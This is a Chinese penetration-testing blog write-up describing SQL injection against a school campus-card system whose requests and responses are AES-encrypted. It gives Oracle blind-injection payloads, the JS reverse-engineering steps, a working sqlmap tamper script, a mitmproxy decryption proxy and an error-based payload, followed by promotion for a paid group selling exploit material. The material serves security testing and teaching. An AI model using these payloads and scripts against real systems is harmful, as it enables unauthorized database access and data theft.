【js逆向】AES加密下的SQL注入

原文链接: https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247493289&idx=1&sn=509a7832c1e142e21af0c2e8e0428dd0

【js逆向】AES加密下的SQL注入

0x1eeA 神农Sec 2025-07-15 03:30

扫码加圈子

获内部资料

【js逆向】AES加密下的SQL注入

【js逆向】AES加密下的SQL注入

网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。
不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠券)。

文章作者:0x1eeA

文章来源:https://www.freebuf.com/articles/web/423701.html

AES加密下的SQL注入

一.引子

平平无奇的周三,小雷同学又接到了任务测试某校xx系统。

二.特征盲注

拿着甲方爸爸给的账号密码直接登录该校一卡通系统,一番查找后点进了”丢卡查询”功能点。

【js逆向】AES加密下的SQL注入

里面只有一个功能点看是来是查询丢失的卡。

【js逆向】AES加密下的SQL注入

直接单引号,查询。

【js逆向】AES加密下的SQL注入

咦?有说法啊,看看两个单引号。

【js逆向】AES加密下的SQL注入

没报错,九成存在注入。抓个包看看啥情况

【js逆向】AES加密下的SQL注入

wtf??? 下班

【js逆向】AES加密下的SQL注入

开个玩笑,下班是不可能的,虽然小雷不太懂js逆向,但是小雷精通SQL注入啊,先前不是有个报错吗,直接用报错的这个特征来注出数据来。

根据刚刚的报错,小雷已经确认该处是单引号闭合,构造payload

1'and 1=1/1 and'1'='1

正常无报错

【js逆向】AES加密下的SQL注入

1'and 1=1/0 and'1'='1

报错

【js逆向】AES加密下的SQL注入

这是因为在一些数据库(例如某些版本的oracle)中0不能作为分母

根据这个特性,直接注入出当前数据库用户的用户名长度

1'and 1=1/(n-length(user)) and'1'='1

从1到10不断尝试n的值,直到报错为止。

最终确定用户名长度为6

【js逆向】AES加密下的SQL注入

下班!

【js逆向】AES加密下的SQL注入

1741223005_67c8f45db5dffdc8321f4.png!small?1741223006144

很好,你成功引起了我小雷的注意。

三.js逆向

本来还想低调点,这下好了,不装了,其实我小雷会js逆向。"王师傅,助我!"
王师傅上线,接下来由我阿王来进行js逆向。

首先王师傅先使用该接口搜索123456,然后抓包 data就是我们提交的数据被加密后的样子

【js逆向】AES加密下的SQL注入

查看抓到的包路径

xxxx/InvokFront

【js逆向】AES加密下的SQL注入

f12,选择Sources -> XHR/fetch Breakpoints 点击旁边的加号

【js逆向】AES加密下的SQL注入

将刚刚的路径

xxxx/InvokFront

添加进去

然后再去搜索123456,断点已经打成功了

【js逆向】AES加密下的SQL注入

点这个位置,让js代码一步步往下走

【js逆向】AES加密下的SQL注入

直到看到这行代码,跳进函数里

【js逆向】AES加密下的SQL注入

【js逆向】AES加密下的SQL注入

现在就很明确了,aes加密,且密钥等关键信息已经拿到

打开WT-JS,把获取到的信息填写上去

取消掉刚刚添加的断点,再次搜索123456,burp抓包

【js逆向】AES加密下的SQL注入

【js逆向】AES加密下的SQL注入

取data数据

O7WeIo4dKQNbjvwuCQ36n0nsfFNI5yw8%2FNrL6rRt7IfseaukPMboSa%2FCNr7Gq%2FiPJHhQho%2F4hj0a9kYUfyZJXGUAogehHFm5wO456u11NbX1KtOrngfCRcca%2B6YYKDt3QFboIljxopi9GS5Dxr5UaD6Z1OMH0WY4z1Zz3m5L8SoKfOdzpowFV6fBy4FXFXrrOIu%2BlP8DGY1jeW6t%2Fn8rTy4P7vQp3qz%2BGYn7%2BAzlXfRQynwDEOcEJrQ2GiVZ4Yfw

这个数据一看就是url编码过,解一下码

O7WeIo4dKQNbjvwuCQ36n0nsfFNI5yw8/NrL6rRt7IfseaukPMboSa/CNr7Gq/iPJHhQho/4hj0a9kYUfyZJXGUAogehHFm5wO456u11NbX1KtOrngfCRcca+6YYKDt3QFboIljxopi9GS5Dxr5UaD6Z1OMH0WY4z1Zz3m5L8SoKfOdzpowFV6fBy4FXFXrrOIu+lP8DGY1jeW6t/n8rTy4P7vQp3qz+GYn7+AzlXfRQynwDEOcEJrQ2GiVZ4Yfw

然后解密

【js逆向】AES加密下的SQL注入

逆向出来了,接下来就该写python脚本了

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

# AES配置参数
KEY = 'xxxxxxx'.encode('utf-8')  # 16字节密钥
MODE = AES.MODE_ECB
BLOCK_SIZE = 16  # AES块大小固定为16字节
PADDING = 'pkcs7'  # 实际使用pkcs7填充标准


# 加密函数
def encrypt(plaintext):
    # 将明文转换为字节并填充
    data = pad(plaintext.encode('utf-8'), BLOCK_SIZE)
    # 创建AES加密器
    cipher = AES.new(KEY, MODE)
    # 执行加密
    encrypted = cipher.encrypt(data)
    # 返回Base64编码字符串
    return base64.b64encode(encrypted).decode('utf-8')

# 解密函数
def decrypt(ciphertext):
    # Base64解码
    encrypted = base64.b64decode(ciphertext)
    # 创建AES解密器
    cipher = AES.new(KEY, MODE)
    # 执行解密并去除填充
    decrypted = unpad(cipher.decrypt(encrypted), BLOCK_SIZE)
    # 转换为字符串返回
    return decrypted.decode('utf-8')

先写出加解密函数,后面写tamper更方便

四.tamper脚本编写

其实思路很简单
1.给data的值填为*,标记为注入点,让data参数接受sqlmap的payload
2.通过tamper脚本将data的值改为系统固定的json数据+aes加密

直接根据上面的python脚本中的加密函数搞一个tamper脚本

#!/usr/bin/env python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    # 将data参数修改为系统固定的json格式后aes加密
    vay1 = '''{"method":"CampusCard","param":"{\\"pagenumber\\":1,\\"pagesize\\":10,\\"outid\\":\\"'''
    vay2 = '''\\",\\"command\\":\\"xxx\\"}","schoolid":"1","token":"xxx"}'''
    payload = encrypt(vay1 + payload + vay2)
    return payload


# aes加密函数
def encrypt(plaintext):
    # AES配置参数
    KEY = 'xxxxxxx'.encode('utf-8')  # 16字节密钥
    MODE = AES.MODE_ECB
    BLOCK_SIZE = 16  # AES块大小固定为16字节
    PADDING = 'pkcs7'  # 实际使用pkcs7填充标准
    # 将明文转换为字节并填充
    data = pad(plaintext.encode('utf-8'), BLOCK_SIZE)
    # 创建AES加密器
    cipher = AES.new(KEY, MODE)
    # 执行加密
    encrypted = cipher.encrypt(data)
    # 返回Base64编码字符串
    return base64.b64encode(encrypted).decode('utf-8')

直接slqmap:

python sqlmap.py -r url.txt --tamper aes_test.py –ignore-code=500 --level 5 

【js逆向】AES加密下的SQL注入

没跑出来,直接各种打印调试脚本,最后发现: 压根不是tamper脚本的问题

1741223504_67c8f65007f4e6f04bd68.png!small?1741223504682

返回原始请求包发现,response的数据也是被加密过的

【js逆向】AES加密下的SQL注入

现在需要在原先的思路上做一些改变

1.给data的值填为*,标记为注入点,让data参数接受sqlmap的payload
2.通过tamper脚本将data的值改为系统固定的json数据+aes加密
3.通过mitmproxy拦截sqlmap请求url后的response,解密response_data后重新发给sqlmap
4.sqlmap通过mitmproxy处理过的response_data来判断漏洞是否存在

mitmproxy是基于Python的中间人代理工具,通过拦截、检查和修改HTTP(S)流量实现以下核心功能:
  透明代理:终端设备无需安装证书即可解密HTTPS(需配置代理)
  流量镜像:实时展示请求/响应内容(支持Web/命令行界面)
  流量篡改:通过Python脚本动态修改报文内容
  抓包存储:保存会话记录为.flow文件供后续分析
简单来说我们可以通过mitmproxy拦截sqlmap发送网络请求后的返回包,并修改返回包的数据

编写decrypt_proxy.py

import base64
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

KEY = 'xxxxxxx'.encode('utf-8')
MODE = AES.MODE_ECB
BLOCK_SIZE = 16

# 解密函数
def decrypt(ciphertext):
    try:
        print(f"\n[解密开始] 密文长度:{len(ciphertext)} 前20字符:{ciphertext[:20]}...")

        encrypted = base64.b64decode(ciphertext)
        cipher = AES.new(KEY, MODE)
        decrypted_padded = cipher.decrypt(encrypted)
        plaintext = unpad(decrypted_padded, BLOCK_SIZE).decode('utf-8')
        return plaintext
    except Exception as e:
        print(f"[解密失败] 错误类型:{type(e).__name__} 原因:{str(e)}")
        return ciphertext


def response(flow):
    # 判断response的content-type类型是否为json
    if 'application/json' in flow.response.headers.get('content-type', ''):
        try:
            data = json.loads(flow.response.text)
            if 'resultdata' in data:
                # 取键'resultdata'对应的值进行解密
                data = decrypt(data['resultdata'])
                print(f"[解密成功] 明文长度:{len(data)}")
                # 打印解密后的数据
                plaintext_preview = data[:200].replace('\n', '')
                print(f"|—— 前200字符预览: {plaintext_preview}...")
                # 将解密后的数据重新赋给response_data
                flow.response.text = data
        except Exception:
            pass

通过命令启动mitmproxy脚本

# 指定拦截8080端口  忽略ssl证书
mitmdump -s decrypt_proxy.py -p 8080 --ssl-insecure

sqlmap

# 代理端口和mitmproxy同步
python sqlmap.py -r url.txt --tamper aes_test.py --proxy=http://localhost:8080 –ignore-code=500 --level 5 --risk 1

【js逆向】AES加密下的SQL注入

sqlmap跑出来一个报错注入,王师傅来手动验证下

') WHERE 1550=1550 AND 6051=CTXSYS.DRITHSX.SN(6051,(CHR(113)||CHR(106)||CHR(98)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (6051=6051) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)))-- Uqfv

【js逆向】AES加密下的SQL注入

拿到response,解密一下

【js逆向】AES加密下的SQL注入

aes加密下的SQL注入漏洞成功实现sqlmap自动化注入

内部小圈子详情介绍

我们是
神农安全
,点赞 + 在看
 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。

【js逆向】AES加密下的SQL注入

【js逆向】AES加密下的SQL注入

内部圈子介绍

【js逆向】AES加密下的SQL注入

圈子专注于更新src/红蓝攻防相关:

1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、知识星球专属微信“小圈子交流群”
3、微信小群一起挖洞
4、内部团队专属EDUSRC证书站漏洞报告
5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)
6、分享src挖掘技巧tips
7、不定期有众测、渗透测试项目(一起挣钱)
8、不定期有工作招聘内推(工作/护网内推)
9、送全国职业技能大赛环境+WP解析(比赛拿奖)

内部圈子
专栏介绍

知识星球内部共享资料截屏详情如下

(只要没有特殊情况,每天都保持更新)

【js逆向】AES加密下的SQL注入

【js逆向】AES加密下的SQL注入

知识星球——
神农安全

星球现价 
¥45元

如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌

星球人数少于1000人 45元/年

星球人数少于1200人 65元/年

(新人优惠券20,扫码或者私信我即可领取)

【js逆向】AES加密下的SQL注入

欢迎加入星球一起交流,券后价仅45元!!! 即将满1000人涨价

长期
更新,更多的0day/1day漏洞POC/EXP

内部知识库–
(持续更新中)

【js逆向】AES加密下的SQL注入

知识库部分大纲目录如下:

知识库跟
知识星球联动,基本上每天保持
更新,满足圈友的需求

【js逆向】AES加密下的SQL注入

知识库和知识星球有师傅们关注的
EDUSRC

CNVD相关内容(内部资料)

【js逆向】AES加密下的SQL注入

还有网上流出来的各种
SRC/CTF等课程视频

量大管饱,扫描下面的知识星球二维码加入即可

【js逆向】AES加密下的SQL注入

不会挖CNVD?不会挖EDURC?不会挖企业SRC?不会打nday和通杀漏洞?

直接加入我们小圈子:
知识星球+内部圈子交流群+知识库

快来吧!!

图片

图片

神农安全知识库内部配置很多
内部工具和资料💾,
玄机靶场邀请码+EDUSRC邀请码等等

【js逆向】AES加密下的SQL注入

快要护网来临,是不是需要
护网面试题汇总

问题+答案(超级详细🔎)

【js逆向】AES加密下的SQL注入

最后,师傅们也是希望找个
好工作,那么常见的
渗透测试/安服工程师/驻场面试题目,你值得拥有!!!

【js逆向】AES加密下的SQL注入

内部小圈子——
圈友反馈

良心价格

【js逆向】AES加密下的SQL注入

【js逆向】AES加密下的SQL注入


神农安全公开交流群

有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)

【js逆向】AES加密下的SQL注入

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

【js逆向】AES加密下的SQL注入